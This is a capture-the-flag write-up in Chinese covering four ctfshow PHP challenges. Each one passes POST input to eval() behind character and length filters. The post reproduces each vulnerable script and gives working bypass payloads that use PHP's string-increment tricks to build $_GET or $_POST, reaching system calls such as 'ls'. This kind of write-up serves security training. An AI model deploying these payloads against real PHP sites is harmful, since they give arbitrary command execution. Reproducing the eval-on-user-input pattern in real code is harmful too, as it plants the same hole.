第一关源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
$code = str_replace("(","括号",$code);
$code = str_replace(".","点",$code);
eval($code);
?>
分析:post一个请求然后不能出现,和.
初步思路是直接用反引号输出,也就是echo出来一个shell命令
尝试如下:


直接附上payload:

第二关源码:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
额,根据我的印象中,这个题需要用自增。
但是居然没有限制长度?只是限制了全数字和全字母
思路:用post构造一个get请求
<?php
$_=[].'';//'array'
$___ = $_[$__]; //a
$___++;
$___++;
$___++;
$___++;
$___++;//f
$____=++$___;//g
$_=[].'';
$___ = $_[$__]; //a
$___++;//b
$___++;//c
$___++;//d
$___++;//e
$____.=$___++;//ge
$_=[].'';
$___ = $_[$__]; //a
$___++;//b
$___++;//c
$___++;//d
$___++;//e
$___++;//f
$___++;//g
$___++;//h
$___++;//i
$___++;//j
$___++;//k
$___++;//l
$___++;//m
$___++;//n
$___++;//o
$___++;//p
$___++;//q
$___++;//r
$___++;//s
$___++;//t
$____.=$___++;
$_=_.$____;//_GET
($$_[_])($$_[__]);
这是编译前,记得要用url进行编码
然后在get请求里面用_和__代替掉system和ls
payload:?_=system&__=ls
第三关源码:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>
分析:自增加上长度过滤,但是放出来了0和1,可以用01做变量来进行传参。
<?php
$_=(_/_._)[0];//N
$_0=++$_;//o
$_1=_.++$_.$_0;//_po
$_++;//q
$_++;//r
$_1.=++$_.++$_;//_POST
$$_1[0]($$_1[1]);
在post里面用0和1进行命令执行
同样记得url编码
第四关源码:
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST[‘ctf_show’])) {
$ctfshow = $_POST[‘ctf_show’];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match(“/[a-zA-Z1-9!’@#%^&*:{}\-<\?>\”|`~\\\\]/”,$ctfshow)){
eval($ctfshow);
}else{
echo(“Are you hacking me AGAIN?”);
}
}else{
phpinfo();
}
}
?>
这道题是在第三关的基础上稍微改一下
payload:$_=(_/_._)[0];$_0=++$_;$__=_.++$_.$_0;$_++;$_++;$__.=++$_.++$_;$$__[0]($$__[_]);//url编码